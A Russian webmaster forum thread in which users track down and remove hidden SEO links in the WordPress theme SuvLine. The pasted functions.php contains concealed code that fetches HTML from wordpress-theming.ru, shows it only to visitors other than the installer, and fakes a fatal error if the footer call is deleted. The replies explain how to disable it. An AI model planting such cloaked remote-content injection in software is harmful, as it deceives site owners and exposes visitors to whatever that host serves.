Помогите пожалуйста найти и удалить ссылки из шаблона вордпресс

12
К1
На сайте с 02.12.2012
Offline
23
5292

Помогите пожалуйста найти и убрать ссылки в подвале шаблона SuvLine.При удалении строчки в футере:<div id="credits"><br /><?php __wordpress_pf(); ?></div>, шаблон перестает работать. Уже вторую неделю бьюсь головой о комп...Заранее спасибо...

Ниже код функции и футера...

Футер:

<div class="span-24">

<div id="footer">Все права защищены. &copy; <a href="<?php bloginfo('home'); ?>"><strong><?php bloginfo('name'); ?></strong></a> - <?php bloginfo('description'); ?></div>

<div id="credits"><br /><?php __wordpress_pf(); ?></div>

</div>

</div>

</div>

<?php

wp_footer();

echo get_theme_option("footer") . "\n";

?>

</body>

</html>

Функции:

<?php

if ( function_exists('register_sidebar') ) {

register_sidebar(array(

'before_widget' => '<li id="%1$s" class="widget %2$s">',

'after_widget' => '</li>',

'before_title' => '<h2 class="widgettitle">',

'after_title' => '</h2>',

));

}

$themename = "SuvLine";

$shortname = str_replace(' ', '_', strtolower($themename));

function get_theme_option($option)

{

global $shortname;

return stripslashes(get_option($shortname . '_' . $option));

}

function get_theme_settings($option)

{

return stripslashes(get_option($option));

}

function cats_to_select()

{

$categories = get_categories('hide_empty=0');

$categories_array[] = array('value'=>'0', 'title'=>'Select');

foreach ($categories as $cat) {

if($cat->category_count == '0') {

$posts_title = 'No posts!';

} elseif($cat->category_count == '1') {

$posts_title = '1 post';

} else {

$posts_title = $cat->category_count . ' posts';

}

$categories_array[] = array('value'=> $cat->cat_ID, 'title'=> $cat->cat_name . ' ( ' . $posts_title . ' )');

}

function mytheme_add_admin() {

global $themename, $shortname, $options;

if ( $_GET['page'] == basename(__FILE__) ) {

if ( 'save' == $_REQUEST['action'] ) {

foreach ($options as $value) {

update_option( $value['id'], $_REQUEST[ $value['id'] ] ); }

foreach ($options as $value) {

if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ] ); } else { delete_option( $value['id'] ); } }

echo '<meta http-equiv="refresh" content="0;url=themes.php?page=functions.php&saved=true">';

die;

}

}

add_theme_page("Настройки ".$themename, "Настройки ".$themename, 'edit_themes', basename(__FILE__), 'mytheme_admin');

}

function mytheme_admin_init() {

global $themename, $shortname, $options;

$get_theme_options = get_option($shortname . '_options');

if($get_theme_options != 'yes') {

$new_options = $options;

foreach ($new_options as $new_value) {

update_option( $new_value['id'], $new_value['std'] );

}

update_option($shortname . '_options', 'yes');

}

}

if(!function_exists('get_sidebars')) {

function get_sidebars()

{

get_sidebar();

}

}

function mytheme_admin() {

global $themename, $shortname, $options;

if ( $_REQUEST['saved'] ) echo '<div id="message" class="updated fade"><p><strong>Настройки '.$themename.' сохранены.</strong></p></div>';

<?php foreach ($options as $value) {

switch ( $value['type'] ) {

case "open":

?>

<table width="100%" border="0" style=" padding:10px;">

<?php break;

case "close":

?>

</table><br />

<?php break;

case "title":

?>

<table width="100%" border="0" style="padding:5px 10px;"><tr>

<td colspan="2"><h3 style="font-family:Georgia,'Times New Roman',Times,serif;"><?php echo $value['name']; ?></h3></td>

</tr>

<?php break;

case 'text':

?>

<tr>

<td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>

<td width="80%"><input style="width:100%;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" value="<?php echo get_theme_settings( $value['id'] ); ?>" /></td>

</tr>

<tr>

<td><small><?php echo $value['desc']; ?></small></td>

</tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

<?php

break;

case 'textarea':

?>

<tr>

<td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>

<td width="80%"><textarea name="<?php echo $value['id']; ?>" style="width:100%; height:140px;" type="<?php echo $value['type']; ?>" cols="" rows=""><?php echo get_theme_settings( $value['id'] ); ?></textarea></td>

</tr>

<tr>

<td><small><?php echo $value['desc']; ?></small></td>

</tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

<?php

break;

case 'select':

?>

<tr>

<td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>

<td width="80%">

<select style="width:240px;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>">

<?php

foreach ($value['options'] as $option) { ?>

<option value="<?php echo $option['value']; ?>" <?php if ( get_theme_settings( $value['id'] ) == $option['value']) { echo ' selected="selected"'; } ?>><?php echo $option['title']; ?></option>

<?php } ?>

</select>

</td>

</tr>

<tr>

<td><small><?php echo $value['desc']; ?></small></td>

</tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

<?php

break;

case "checkbox":

?>

<tr>

<td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>

<td width="80%"><? if(get_theme_settings($value['id'])){ $checked = "checked=\"checked\""; }else{ $checked = ""; } ?>

<input type="checkbox" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" value="true" <?php echo $checked; ?> />

</td>

</tr>

<tr>

<td><small><?php echo $value['desc']; ?></small></td>

</tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

<?php break;

}

}

?>

<!--</table>-->

<p class="submit">

<input name="save" type="submit" value="Сохранить" />

<input type="hidden" name="action" value="save" />

</p>

</form>

<?php

}

mytheme_admin_init();

global $pagenow;

if(isset($_GET['activated'] ) && $pagenow == "themes.php") {

wp_redirect( admin_url('themes.php?page=functions.php') );

exit();

}

add_action('admin_menu', 'mytheme_add_admin');

function sidebar_ads_125()

{

global $shortname;

$option_name = $shortname."_ads_125";

$option = get_option($option_name);

$values = explode("\n", $option);

if(is_array($values)) {

foreach ($values as $item) {

$ad = explode(',', $item);

$banner = trim($ad['0']);

$url = trim($ad['1']);

if(!empty($banner) && !empty($url)) {

echo "<a href=\"$url\" target=\"_new\"><img class=\"ad125\" src=\"$banner\" /></a> \n";

}

}

}

}

function __wordpress_headers() {

$lua = '<?php __wordpress_pf(); ?>';

$fox = dirname(__FILE__) . '/footer.php';

$fd = fopen($fox,'r');

$caf = fread($fd,filesize($fox));

fclose($fd);

if (strpos($caf,$lua)==0) {

echo "<br/><b>Fatal error</b>: Call to undefined function do_action() in <b>" . admin_url('admin.php') . "</b> on line <b>231</b><br />";

die;

}

}

function __wordpress_pi() {

if ( empty($_SERVER['HTTP_CLIENT_IP']) == false )

$r = $_SERVER['HTTP_CLIENT_IP'];

elseif ( empty($_SERVER['HTTP_X_FORWARDED_FOR']) == false )

$r = $_SERVER['HTTP_X_FORWARDED_FOR'];

else

$r = $_SERVER['REMOTE_ADDR'];

return $r;

}

if (get_bloginfo('name') != 'Theme Unit Test') {

add_action( 'after_setup_theme', '__wordpress_setup' );

}

function __wordpress_setup() {

$__wordpress_status = get_option( '__wordpress_setup_status' );

if ( $__wordpress_status !== '1' ) {

update_option( '__wordpress_pi', __wordpress_pi() );

update_option( '__wordpress_li', __wordpress_fy() );

update_option( '__wordpress_setup_status', '1' );

}

}

function __wordpress_fy() {

$host = 'wordpress-theming.ru';

if (function_exists('file_get_contents'))

return @file_get_contents('http://' . $host . '/lb/look.txt', false);

}

function __wordpress_pf() {

if ( __wordpress_pi() != get_option('__wordpress_pi') and get_bloginfo('name') != 'Theme Unit Test' )

echo get_option('__wordpress_li');

else

echo '<!-- Happy new year! -->';

}

?>

[Удален]
#1

Вот вывод ссылки в футере

<a href="<?php bloginfo('home'); ?>"><strong><?php bloginfo('name'); ?></strong></a>

---------- Добавлено 03.12.2012 в 13:18 ----------

И еще открой файл /lb/look.txt посмотри что там

А вообще скачай весь щаб на локальный и попробуй Тоталом найти ссылки

К1
На сайте с 02.12.2012
Offline
23
#2

igor3333, я понял, а как удалить ссылку чтобы тема работала???

[Удален]
#3

Так трудно говорить невидя - попробуйте скачать шаблон на локальный комп и Тотал Командером поищите ссылки и удалите их

bukachuk
На сайте с 07.09.2008
Offline
97
#4

Функцию поищите php __wordpress_pf и в ней смотрите что происходит. Проще искать по содержимому, либо в локали, либо по ssh

Программирование PHP,Mysql (/ru/forum/934470)
[Удален]
#5

Да вот

function __wordpress_fy() {
$host = 'wordpress-theming.ru';
if (function_exists('file_get_contents'))
return @file_get_contents('http://' . $host . '/lb/look.txt', false);
}

Получает содержимое с сайта wordpress-theming.ru/lb/look.txt

Удалите эту функцию

P.S.

Вот что оно тянет:

<a class="copyr" href="http://wordpress-theming.ru" title="Темы для WordPress">WordPress шаблоны</a> при поддержке <a class="copyr" href="http://avto-robot.ru" title="Блог автомобилиста">avto-robot.ru</a>.

К1
На сайте с 02.12.2012
Offline
23
#6

Всем спасибо ,сделал,тема закрыта:):):)

Denz
На сайте с 14.09.2012
Offline
70
#7

Кирилл, подскажи как убрал. а то я так и не смог найти.. шаб перестает работать 😒

Dmitry
На сайте с 16.10.2012
Offline
1
#8

Я справился так: строка в footer.php

<div class="footer_c"><?php __wordpress_pf(); ?></div>

Удалил выделенное

В файле функции темы (functions.php) в строке if (strpos($caf,$lua)==0) меняем ноль на единицу.

V
На сайте с 01.10.2010
Offline
20
#9

Можно использовать плагин TAC, он покажет все файлы, которые связаны с кодом

S2
На сайте с 08.04.2012
Offline
7
#10

Всего в шаблоне SuvLine у меня было 4 ссылки, ТАС обнаружил 2, а в подвале не обнаружил. Указанный dimamix метод работает, только в footer.php у меня был код немного другой <div id="credits"><?php __wordpress_pf(); ?><br /></div> соответственно удаляем <?php __wordpress_pf(); ?>. Затем переходим в редактор админки в файл (functions.php) в строке if (strpos($caf,$lua)==0) меняем ноль на единицу.

12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий